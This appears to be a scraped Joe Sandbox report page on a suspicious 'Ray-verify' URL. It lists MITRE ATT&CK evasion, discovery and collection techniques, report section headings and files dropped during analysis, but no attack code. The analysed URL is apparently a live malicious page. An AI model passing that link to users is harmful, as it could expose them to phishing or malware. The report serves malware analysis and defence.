Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://inspyrehomedesign.com/Ray-verify.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Remote Access Functionality

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\loca[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\Ray-verify[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egh3avmr.zhn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mshhzrqx.05j.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Windows Analysis Report
https://inspyrehomedesign.com/Ray-verify.html

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre